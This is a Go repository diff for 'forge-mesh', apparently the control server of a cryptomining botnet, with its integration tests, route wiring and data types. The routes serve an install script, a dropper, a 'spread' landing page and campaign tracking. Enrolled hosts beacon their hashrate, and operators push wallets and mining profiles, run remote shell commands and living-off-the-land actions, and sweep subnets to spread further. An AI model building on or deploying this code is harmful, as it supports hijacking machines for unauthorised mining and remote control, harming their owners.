return true, "200 HTML lander"
}
func testPublicBuilds(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/api/v1/public/builds")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 builds list"
}
func testPublicBuildsLatest(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/api/v1/public/builds/latest?os=linux&arch=amd64")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 latest build"
}
func testPublicDownload(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/api/v1/public/download/integration-build-amd64")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 artifact stream"
}
func testErasureBundle(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/api/v1/public/erasure/" + testBundleID)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 bundle metadata"
}
func testErasureShard(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/api/v1/public/erasure/" + testBundleID + "/shard/0")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 shard hex"
}
func testPolicySnapshot(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := http.Get(ts.URL + "/api/v1/public/policy-snapshot/test-policy-token")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 policy JSON"
}
func testFleetRegister(t *testing.T, ts *testutil.TestServer) (bool, string) {
body := bytes.NewBufferString(`{"hostname":"agent-integration","arch":"amd64"}`)
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/fleet/register", body)
req.Header.Set("Authorization", "Bearer "+ts.FleetSecret)
req.Header.Set("Content-Type", "application/json")
resp, err := http.DefaultClient.Do(req)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 enrolled"
}
func testFleetBeacon(t *testing.T, ts *testutil.TestServer) (bool, string) {
payload := fmt.Sprintf(`{"host_id":%q,"hostname":"beacon-host","hashrate_hps":1000}`, testHostID)
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/fleet/beacon", strings.NewReader(payload))
req.Header.Set("Authorization", "Bearer "+ts.FleetSecret)
req.Header.Set("Content-Type", "application/json")
resp, err := http.DefaultClient.Do(req)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 beacon ack"
}
func testFleetList(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := basicGet(ts, "/api/v1/fleet")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 fleet summary"
}
func testFleetHosts(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := basicGet(ts, "/api/v1/fleet/hosts")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
var body map[string]any
_ = json.NewDecoder(resp.Body).Decode(&body)
if _, ok := body["hosts"]; !ok {
return false, "missing hosts key"
}
return true, "200 hosts list"
}
func testMiningProfile(t *testing.T, ts *testutil.TestServer) (bool, string) {
body := bytes.NewBufferString(`{"wallet_address":"4integrationtestwallet","name":"Integration"}`)
resp, err := basicPost(ts, "/api/v1/fleet/"+testHostID+"/mining-profile", body)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 profile pushed"
}
func testFleetAction(t *testing.T, ts *testutil.TestServer, action string) (bool, string) {
body := bytes.NewBufferString(fmt.Sprintf(`{"action":%q}`, action))
resp, err := basicPost(ts, "/api/v1/fleet/"+testHostID+"/action", body)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 " + action + " dispatched"
}
func testLOTLTimeline(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := basicGet(ts, "/api/v1/fleet/"+testHostID+"/lotl/timeline")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
var body map[string]any
if err := json.NewDecoder(resp.Body).Decode(&body); err != nil {
return false, err.Error()
}
if _, ok := body["timeline"]; !ok {
return false, "missing timeline"
}
return true, "200 LOTL timeline"
}
func testForgeBuilds(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := basicGet(ts, "/api/v1/forge/builds")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 forge builds"
}
func testCalibrateProfiles(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := basicGet(ts, "/api/v1/calibrate/profiles")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 calibrate profiles"
}
func testCrucibleBatch(t *testing.T, ts *testutil.TestServer) (bool, string) {
body := bytes.NewBufferString(fmt.Sprintf(`{"command":"status","host_ids":[%q]}`, testHostID))
resp, err := basicPost(ts, "/api/v1/crucible/batch", body)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
var job map[string]any
if err := json.NewDecoder(resp.Body).Decode(&job); err != nil {
return false, err.Error()
}
id, _ := job["id"].(string)
if id == "" {
return false, "missing job id"
}
testBatchID = id
return true, "200 batch created"
}
func testCrucibleBatchGet(t *testing.T, ts *testutil.TestServer) (bool, string) {
if testBatchID == "" {
return false, "no batch id from prior test"
}
resp, err := basicGet(ts, "/api/v1/crucible/batch/"+testBatchID)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 batch status"
}
func testCrucibleExec(t *testing.T, ts *testutil.TestServer) (bool, string) {
body := bytes.NewBufferString(fmt.Sprintf(`{"host_id":%q,"command":"shell echo hi"}`, testHostID))
resp, err := basicPost(ts, "/api/v1/crucible/exec", body)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 exec dispatched"
}
func testSeerSSE(t *testing.T, ts *testutil.TestServer, path string) (bool, string) {
req, _ := http.NewRequest(http.MethodGet, ts.URL+path, nil)
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
req.Header.Set("Accept", "text/event-stream")
ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
defer cancel()
req = req.WithContext(ctx)
resp, err := http.DefaultClient.Do(req)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
ct := resp.Header.Get("Content-Type")
if !strings.Contains(ct, "text/event-stream") {
return false, "not SSE: " + ct
}
reader := bufio.NewReader(resp.Body)
line, err := reader.ReadString('\n')
if err != nil && err != io.EOF {
return false, err.Error()
}
if !strings.HasPrefix(line, "data:") {
return false, "no SSE data line"
}
return true, "200 SSE stream"
}
func testWarRoom(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := basicGet(ts, "/api/v1/war-room/campaigns")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
var body map[string]any
_ = json.NewDecoder(resp.Body).Decode(&body)
campaigns, _ := body["campaigns"].([]any)
if len(campaigns) == 0 {
return false, "empty campaigns"
}
return true, "200 war room campaigns"
}
func testWireGuardList(t *testing.T, ts *testutil.TestServer) (bool, string) {
resp, err := basicGet(ts, "/api/v1/wireguard/peers")
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "200 peers list"
}
func testWireGuardCreate(t *testing.T, ts *testutil.TestServer) (bool, string) {
body := bytes.NewBufferString(`{"host_id":"` + testHostID + `","public_key":"wg-test-pubkey","endpoint":"10.0.0.1:51820"}`)
resp, err := basicPost(ts, "/api/v1/wireguard/peers", body)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusCreated {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
return true, "201 peer created"
}
func testWSTicket(t *testing.T, ts *testutil.TestServer) (bool, string) {
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/ws/ticket", nil)
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
resp, err := http.DefaultClient.Do(req)
if err != nil {
return false, err.Error()
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
var out struct {
Ticket string `json:"ticket"`
}
if err := json.NewDecoder(resp.Body).Decode(&out); err != nil || out.Ticket == "" {
return false, "empty ticket"
}
return true, "200 ticket issued"
}
func testWSFleetDeck(t *testing.T, ts *testutil.TestServer) (bool, string) {
ticket := issueTicket(t, ts)
wsURL := wsURL(ts.URL, "/api/v1/ws/fleet?ticket="+url.QueryEscape(ticket))
conn, resp, err := websocket.DefaultDialer.Dial(wsURL, nil)
if err != nil {
return false, err.Error()
}
defer conn.Close()
if resp.StatusCode != http.StatusSwitchingProtocols {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
_ = conn.WriteMessage(websocket.PingMessage, nil)
return true, "101 deck connected"
}
func testWSFleetAgentHeartbeat(t *testing.T, ts *testutil.TestServer) (bool, string) {
conn, resp, err := dialAgentWS(ts)
if err != nil {
return false, err.Error()
}
defer conn.Close()
if resp.StatusCode != http.StatusSwitchingProtocols {
return false, fmt.Sprintf("status %d", resp.StatusCode)
}
hb := fmt.Sprintf(`{"type":"heartbeat","host_id":%q,"hostname":"ws-agent","hashrate_hps":5000}`, testHostID)
if err := conn.WriteMessage(websocket.TextMessage, []byte(hb)); err != nil {
return false, err.Error()
}
conn.SetReadDeadline(time.Now().Add(2 * time.Second))
_, _, err = conn.ReadMessage()
if err != nil && !strings.Contains(err.Error(), "timeout") {
// heartbeat may not produce a direct reply; connection staying open is success
}
return true, "101 agent heartbeat sent"
}
func testWSCommandRoundtrip(t *testing.T, ts *testutil.TestServer) (bool, string) {
conn, _, err := dialAgentWS(ts)
if err != nil {
return false, err.Error()
}
defer conn.Close()
cmdCh := make(chan []byte, 1)
go func() {
for {
_, msg, err := conn.ReadMessage()
if err != nil {
return
}
var frame map[string]any
if json.Unmarshal(msg, &frame) == nil && frame["type"] == "command" {
cmdCh <- msg
return
}
}
}()
hb := fmt.Sprintf(`{"type":"heartbeat","host_id":%q,"hostname":"cmd-agent","hashrate_hps":9000}`, testHostID)
if err := conn.WriteMessage(websocket.TextMessage, []byte(hb)); err != nil {
return false, err.Error()
}
time.Sleep(300 * time.Millisecond)
body := bytes.NewBufferString(`{"action":"pause"}`)
resp, err := basicPost(ts, "/api/v1/fleet/"+testHostID+"/action", body)
if err != nil {
return false, err.Error()
}
resp.Body.Close()
if resp.StatusCode != http.StatusOK {
return false, fmt.Sprintf("action status %d", resp.StatusCode)
}
select {
case msg := <-cmdCh:
var frame map[string]any
_ = json.Unmarshal(msg, &frame)
return true, fmt.Sprintf("command action=%v", frame["command"])
case <-time.After(5 * time.Second):
return false, "no command frame received"
}
}
func dialAgentWS(ts *testutil.TestServer) (*websocket.Conn, *http.Response, error) {
wsURL := wsURL(ts.URL, "/api/v1/ws/fleet")
header := http.Header{}
header.Set("Authorization", "Bearer "+ts.FleetSecret)
return websocket.DefaultDialer.Dial(wsURL, header)
}
func issueTicket(t *testing.T, ts *testutil.TestServer) string {
t.Helper()
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/ws/ticket", nil)
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
resp, err := http.DefaultClient.Do(req)
if err != nil {
t.Fatal(err)
}
defer resp.Body.Close()
var out struct {
Ticket string `json:"ticket"`
}
if err := json.NewDecoder(resp.Body).Decode(&out); err != nil || out.Ticket == "" {
t.Fatal("ticket issue failed")
}
return out.Ticket
}
func wsURL(httpURL, path string) string {
u, _ := url.Parse(httpURL)
u.Scheme = strings.Replace(u.Scheme, "http", "ws", 1)
u.Path = ""
u.RawPath = ""
u.RawQuery = ""
if strings.Contains(path, "?") {
parts := strings.SplitN(path, "?", 2)
u.Path = parts[0]
u.RawQuery = parts[1]
} else {
u.Path = path
}
return u.String()
}
func basicGet(ts *testutil.TestServer, path string) (*http.Response, error) {
req, err := http.NewRequest(http.MethodGet, ts.URL+path, nil)
if err != nil {
return nil, err
}
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
return http.DefaultClient.Do(req)
}
func basicPost(ts *testutil.TestServer, path string, body io.Reader) (*http.Response, error) {
req, err := http.NewRequest(http.MethodPost, ts.URL+path, body)
if err != nil {
return nil, err
}
req.SetBasicAuth(ts.BasicUser, ts.BasicPass)
req.Header.Set("Content-Type", "application/json")
return http.DefaultClient.Do(req)
}
// Ensure unused import guard for sql in case of build tags
var _ = sql.ErrNoRows

186
internal/api/router_test.go Normal file
View File

@@ -0,0 +1,186 @@
package api
import (
"encoding/json"
"io/fs"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"testing"
"testing/fstest"
"forge-mesh/internal/config"
"forge-mesh/internal/db"
"forge-mesh/internal/forge"
)
func TestHealthAndPublicRoutes(t *testing.T) {
dir := t.TempDir()
cfgPath := filepath.Join(dir, "config.json")
writeTestConfig(t, cfgPath, dir)
cfg, err := config.Load(cfgPath)
if err != nil {
t.Fatal(err)
}
if err := cfg.EnsureDataDirs(); err != nil {
t.Fatal(err)
}
conn, err := db.Open(cfg.DatabasePath)
if err != nil {
t.Fatal(err)
}
defer conn.Close()
kp, err := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath)
if err != nil {
t.Fatal(err)
}
tmplPath := filepath.Join("..", "..", "scripts", "install.sh.tpl")
static := fstest.MapFS{"index.html": &fstest.MapFile{Data: []byte("<html></html>")}}
srv, err := NewServer(cfg, conn, static, "test", tmplPath, kp.PublicKeyHex())
if err != nil {
t.Fatal(err)
}
ts := httptest.NewServer(srv.Handler())
defer ts.Close()
resp, err := http.Get(ts.URL + "/api/v1/health")
if err != nil {
t.Fatal(err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Fatalf("health: %d", resp.StatusCode)
}
resp, err = http.Get(ts.URL + "/install.sh")
if err != nil {
t.Fatal(err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Fatalf("install.sh: %d", resp.StatusCode)
}
resp, err = http.Get(ts.URL + "/get")
if err != nil {
t.Fatal(err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusFound {
t.Fatalf("get redirect: %d", resp.StatusCode)
}
}
func TestProtectedFleetRequiresAuth(t *testing.T) {
dir := t.TempDir()
cfgPath := filepath.Join(dir, "config.json")
writeTestConfig(t, cfgPath, dir)
cfg, _ := config.Load(cfgPath)
_ = cfg.EnsureDataDirs()
conn, _ := db.Open(cfg.DatabasePath)
defer conn.Close()
kp, _ := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath)
tmplPath := filepath.Join("..", "..", "scripts", "install.sh.tpl")
static := fstest.MapFS{"index.html": &fstest.MapFile{Data: []byte("ok")}}
srv, err := NewServer(cfg, conn, static, "test", tmplPath, kp.PublicKeyHex())
if err != nil {
t.Fatal(err)
}
ts := httptest.NewServer(srv.Handler())
defer ts.Close()
resp, err := http.Get(ts.URL + "/api/v1/fleet/hosts")
if err != nil {
t.Fatal(err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusUnauthorized {
t.Fatalf("expected 401, got %d", resp.StatusCode)
}
req, _ := http.NewRequest(http.MethodGet, ts.URL+"/api/v1/fleet/hosts", nil)
req.SetBasicAuth("admin", "changeme")
resp, err = http.DefaultClient.Do(req)
if err != nil {
t.Fatal(err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Fatalf("expected 200, got %d", resp.StatusCode)
}
var body map[string]any
_ = json.NewDecoder(resp.Body).Decode(&body)
if _, ok := body["hosts"]; !ok {
t.Fatalf("expected hosts key in %v", body)
}
}
func TestWSTicketFlow(t *testing.T) {
dir := t.TempDir()
cfgPath := filepath.Join(dir, "config.json")
writeTestConfig(t, cfgPath, dir)
cfg, _ := config.Load(cfgPath)
_ = cfg.EnsureDataDirs()
conn, _ := db.Open(cfg.DatabasePath)
defer conn.Close()
kp, _ := forge.LoadOrCreateKey(cfg.Forge.SigningKeyPath)
tmplPath := filepath.Join("..", "..", "scripts", "install.sh.tpl")
static := fs.FS(fstest.MapFS{"index.html": &fstest.MapFile{Data: []byte("ok")}})
srv, _ := NewServer(cfg, conn, static, "test", tmplPath, kp.PublicKeyHex())
ts := httptest.NewServer(srv.Handler())
defer ts.Close()
req, _ := http.NewRequest(http.MethodPost, ts.URL+"/api/v1/ws/ticket", nil)
req.SetBasicAuth("admin", "changeme")
resp, err := http.DefaultClient.Do(req)
if err != nil {
t.Fatal(err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
t.Fatalf("ticket: %d", resp.StatusCode)
}
var out struct {
Ticket string `json:"ticket"`
}
if err := json.NewDecoder(resp.Body).Decode(&out); err != nil || out.Ticket == "" {
t.Fatal("expected ticket")
}
}
func writeTestConfig(t *testing.T, path, dir string) {
t.Helper()
content := `{
"listen_addr": ":0",
"data_dir": "` + dir + `",
"database_path": "` + filepath.Join(dir, "test.db") + `",
"auth": {
"basic_username": "admin",
"basic_password": "changeme",
"fleet_secret": "test-fleet-secret"
},
"forge": {
"signing_key_path": "` + filepath.Join(dir, "signing.key") + `",
"artifacts_dir": "` + filepath.Join(dir, "artifacts") + `"
}
}`
if err := os.WriteFile(path, []byte(content), 0o644); err != nil {
t.Fatal(err)
}
}

256
internal/api/server.go Normal file
View File

@@ -0,0 +1,256 @@
package api
import (
"database/sql"
"io"
"io/fs"
"net/http"
"os"
"path/filepath"
"strings"
"time"
"forge-mesh/internal/alerts"
"forge-mesh/internal/api/handlers"
"forge-mesh/internal/auth"
"forge-mesh/internal/config"
"forge-mesh/internal/court"
"forge-mesh/internal/erasure"
"forge-mesh/internal/fleet"
"forge-mesh/internal/forge"
)
// Server is the forge-mesh HTTP control plane.
type Server struct {
cfg *config.Config
mux http.Handler
staticFS fs.FS
}
// NewServer wires routes, fleet hub, and static SPA handler.
func NewServer(
cfg *config.Config,
db *sql.DB,
staticFS fs.FS,
version, installTmplPath, publicKeyHex string,
) (*Server, error) {
store := fleet.NewStore(db)
_ = store.SeedDemoHost()
tickets := auth.NewTicketStore(5 * time.Minute)
hub := fleet.NewHub(store, cfg.Auth.FleetSecret, tickets)
crucible := fleet.NewCrucibleStore(100)
tgCfg := alerts.Config{
Enabled: cfg.Telegram.Enabled,
BotToken: cfg.Telegram.BotToken,
ChatID: cfg.Telegram.ChatID,
}
notifier := alerts.New(tgCfg)
public, err := handlers.NewPublicHandlers(db, cfg.Forge.ArtifactsDir, publicKeyHex, installTmplPath)
if err != nil {
return nil, err
}
public.FleetSecret = cfg.Auth.FleetSecret
public.Version = version
pipeline, err := forge.NewPipeline(db, cfg.Forge.ArtifactsDir, cfg.Forge.SigningKeyPath,
filepath.Join("cmd", "agent"), version)
if err != nil {
return nil, err
}
clearance := cfg.OperatorClearance
fleetH := &handlers.FleetHandler{
Store: store, Hub: hub, Alerts: notifier, Cfg: cfg, OperatorClearance: clearance,
}
crucibleH := &handlers.CrucibleHandler{
Store: store, Hub: hub, Crucible: crucible, Alerts: notifier, OperatorClearance: clearance,
}
policyH := &handlers.PolicyHandler{Cfg: cfg, Store: store}
forgeH := &handlers.ForgeHandler{DB: db, Pipeline: pipeline, Version: version}
seerH := &handlers.SeerHandler{
Store: store,
Username: cfg.Auth.BasicUsername,
Password: cfg.Auth.BasicPassword,
}
authH := &handlers.AuthHandlers{Tickets: tickets}
opH := &handlers.OperatorHandler{Clearance: clearance}
dropperH := &handlers.DropperHandler{
DB: db,
PublicKeyHex: publicKeyHex,
FleetSecret: cfg.Auth.FleetSecret,
Version: version,
}
erasureH := &handlers.ErasureHandler{Service: erasure.NewService(db)}
policySnapH := &handlers.PolicySnapshotHandler{DB: db}
warRoomH := &handlers.WarRoomHandler{DB: db}
wgH := &handlers.WireGuardHandler{DB: db}
crucibleLegacy := &handlers.CrucibleLegacy{CrucibleHandler: crucibleH}
courtSvc := court.New(db, cfg.Court, store)
intelDeps := handlers.IntelligenceDeps{
Store: store,
Subnet: &fleet.SubnetMapper{Store: store},
Earn: &fleet.EarnGate{Store: store, Config: fleet.DefaultEarnConfig()},
}
courtDeps := handlers.CourtDeps{Court: courtSvc, Seer: court.NewSeerHub(db)}
mux := http.NewServeMux()
// Public
mux.HandleFunc("GET /api/v1/health", handlers.Health(version))
mux.HandleFunc("GET /install.sh", public.InstallSh)
mux.HandleFunc("GET /get", public.GetRedirect)
mux.HandleFunc("GET /spread/", handlers.SpreadLander(db))
mux.HandleFunc("GET /spread", handlers.SpreadLander(db))
mux.HandleFunc("GET /api/v1/public/builds", handlers.PublicBuildsList(db))
mux.HandleFunc("GET /api/v1/public/builds/latest", public.LatestBuild)
mux.HandleFunc("GET /api/v1/public/download/{id}", public.Download)
mux.HandleFunc("GET /api/v1/public/erasure/{bundle_id}", erasureH.GetBundle)
mux.HandleFunc("GET /api/v1/public/erasure/{bundle_id}/shard/{index}", erasureH.GetShard)
mux.HandleFunc("GET /api/v1/public/policy-snapshot/{token}", policySnapH.Get)
mux.HandleFunc("GET /api/v1/public/campaign/track", handlers.TrackCampaign(db))
// Agent (fleet secret)
mux.Handle("POST /api/v1/beacon", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret,
http.HandlerFunc(hub.HandleBeacon(store))))
mux.Handle("POST /api/v1/fleet/beacon", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret,
http.HandlerFunc(hub.HandleBeacon(store))))
mux.Handle("POST /api/v1/fleet/register", auth.FleetSecretMiddleware(cfg.Auth.FleetSecret,
http.HandlerFunc(fleetH.Register)))
mux.HandleFunc("GET /api/v1/ws/agent", hub.HandleAgentWS)
mux.HandleFunc("GET /api/v1/ws/fleet", func(w http.ResponseWriter, r *http.Request) {
if r.URL.Query().Get("ticket") != "" {
hub.HandleDeckWS(w, r)
return
}
hub.HandleAgentWS(w, r)
})
// Protected (Basic auth)
protected := http.NewServeMux()
protected.HandleFunc("GET /api/v1/fleet", fleetH.List)
protected.HandleFunc("GET /api/v1/fleet/hosts", fleetH.List)
protected.HandleFunc("GET /api/v1/fleet/{id}/lotl/timeline", fleetH.LOTLTimeline)
protected.HandleFunc("GET /api/v1/fleet/{id}/timeline", handlers.Timeline(courtDeps))
protected.HandleFunc("POST /api/v1/fleet/{id}/lotl/run", handlers.RunLOTL(intelDeps))
protected.HandleFunc("GET /api/v1/fleet/{id}/spread-gate", handlers.SpreadGate(intelDeps))
protected.HandleFunc("GET /api/v1/fleet/subnets", handlers.SubnetList(intelDeps))
protected.HandleFunc("POST /api/v1/fleet/subnets", handlers.SubnetAdd(intelDeps))
protected.HandleFunc("POST /api/v1/fleet/subnets/sweep", handlers.SubnetSweep(intelDeps))
protected.HandleFunc("POST /api/v1/court/sessions", handlers.CourtOpen(courtDeps))
protected.HandleFunc("POST /api/v1/court/sessions/{id}/deliberate", handlers.CourtDeliberate(courtDeps))
protected.HandleFunc("POST /api/v1/court/sessions/{id}/verdict", handlers.CourtVerdict(courtDeps))
protected.HandleFunc("POST /api/v1/fleet/{id}/command", fleetH.Command)
protected.HandleFunc("POST /api/v1/fleet/{id}/action", fleetH.HostAction)
protected.HandleFunc("POST /api/v1/fleet/{id}/mining-profile", fleetH.PushMiningProfile)
protected.HandleFunc("GET /api/v1/dropper", dropperH.Info)
protected.HandleFunc("GET /api/v1/operator/me", opH.Me)
protected.HandleFunc("POST /api/v1/ws/ticket", authH.WSTicket)
protected.HandleFunc("GET /api/v1/forge/builds", forgeH.ListBuilds)
protected.HandleFunc("POST /api/v1/forge/builds/trigger", forgeH.TriggerBuild)
protected.HandleFunc("GET /api/v1/policy/wallet", policyH.GetWallet)
protected.HandleFunc("PUT /api/v1/policy/wallet", policyH.PutWallet)
protected.HandleFunc("GET /api/v1/policy/mining-profile", policyH.GetMiningProfile)
protected.HandleFunc("PUT /api/v1/policy/mining-profile", policyH.PutMiningProfile)
protected.HandleFunc("POST /api/v1/policy/snapshot", policySnapH.Create)
protected.HandleFunc("GET /api/v1/calibrate/profiles", handlers.CalibrateProfiles(cfg))
protected.HandleFunc("POST /api/v1/crucible/batch", crucibleLegacy.Batch)
protected.HandleFunc("GET /api/v1/crucible/batch/{id}", crucibleLegacy.BatchGet)
protected.HandleFunc("POST /api/v1/crucible/exec", crucibleLegacy.Exec)
protected.HandleFunc("POST /api/v1/crucible/dispatch", crucibleH.Dispatch)
protected.HandleFunc("GET /api/v1/crucible/jobs/{id}", crucibleH.GetJob)
protected.HandleFunc("GET /api/v1/crucible/history", crucibleH.History)
protected.HandleFunc("GET /api/v1/seer", handlers.SeerAPIStream(store, cfg.Auth.BasicUsername, cfg.Auth.BasicPassword))
protected.HandleFunc("GET /api/v1/war-room/campaigns", warRoomH.ListCampaigns)
protected.HandleFunc("GET /api/v1/wireguard/peers", wgH.ListPeers)
protected.HandleFunc("POST /api/v1/wireguard/peers", wgH.CreatePeer)
protected.HandleFunc("GET /api/v1/wireguard/config", wgH.RenderConfig)
protected.HandleFunc("GET /seer", seerH.Stream)
authWrap := auth.BasicAuthMiddleware(cfg.Auth.BasicUsername, cfg.Auth.BasicPassword)
mux.Handle("/api/v1/", authWrap(protected))
mux.Handle("/seer", authWrap(http.HandlerFunc(seerH.Stream)))
// Static SPA (React build embedded in webroot)
if staticFS != nil {
fileServer := http.FileServer(http.FS(staticFS))
mux.Handle("/", spaFallback(staticFS, fileServer))
}
return &Server{cfg: cfg, mux: mux, staticFS: staticFS}, nil
}
func (s *Server) Handler() http.Handler {
return s.mux
}
func spaFallback(staticFS fs.FS, next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
if strings.HasPrefix(r.URL.Path, "/api/") || r.URL.Path == "/install.sh" || r.URL.Path == "/get" || strings.HasPrefix(r.URL.Path, "/spread") {
http.NotFound(w, r)
return
}
path := strings.TrimPrefix(r.URL.Path, "/")
if path == "" {
path = "index.html"
}
if _, err := fs.Stat(staticFS, path); err != nil {
// Client-side route — serve index.html
if data, err := fs.ReadFile(staticFS, "index.html"); err == nil {
w.Header().Set("Content-Type", "text/html; charset=utf-8")
w.Write(data)
return
}
}
next.ServeHTTP(w, r)
})
}
// SyncWebroot copies web/dist into cmd/server/webroot for go:embed.
func SyncWebroot(distDir, webrootDir string) error {
if err := os.RemoveAll(webrootDir); err != nil {
return err
}
return copyDir(distDir, webrootDir)
}
func copyDir(src, dst string) error {
return filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
rel, err := filepath.Rel(src, path)
if err != nil {
return err
}
target := filepath.Join(dst, rel)
if info.IsDir() {
return os.MkdirAll(target, 0o755)
}
return copyFile(path, target)
})
}
func copyFile(src, dst string) error {
if err := os.MkdirAll(filepath.Dir(dst), 0o755); err != nil {
return err
}
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
out, err := os.Create(dst)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
}

View File

@@ -0,0 +1,16 @@
package types
import "time"
// Build represents a forge-produced agent artifact.
type Build struct {
ID string `json:"id"`
OS string `json:"os"`
Arch string `json:"arch"`
Version string `json:"version"`
Checksum string `json:"checksum"`
Signature string `json:"signature,omitempty"`
Public bool `json:"public"`
Path string `json:"path,omitempty"`
CreatedAt time.Time `json:"created_at"`
}

View File

@@ -0,0 +1,13 @@
package types
import "time"
// Campaign tracks Emberwake funnel tags (?c=).
type Campaign struct {
ID string `json:"id"`
Code string `json:"code"`
Name string `json:"name"`
Pin string `json:"pin,omitempty"`
Heat int `json:"heat"`
CreatedAt time.Time `json:"created_at"`
}

View File

@@ -0,0 +1,22 @@
package types
import "time"
// Host represents an enrolled fleet member.
type Host struct {
ID string `json:"id"`
Hostname string `json:"hostname"`
Fingerprint string `json:"fingerprint,omitempty"`
Phenotype string `json:"phenotype,omitempty"`
Status string `json:"status"`
Hashrate float64 `json:"hashrate"`
HashrateHps float64 `json:"hashrate_hps"`
CurrentTier int `json:"current_tier"`
TierType string `json:"tier_type,omitempty"`
TierState string `json:"tier_state,omitempty"`
ClearanceLevel int `json:"clearance_level"`
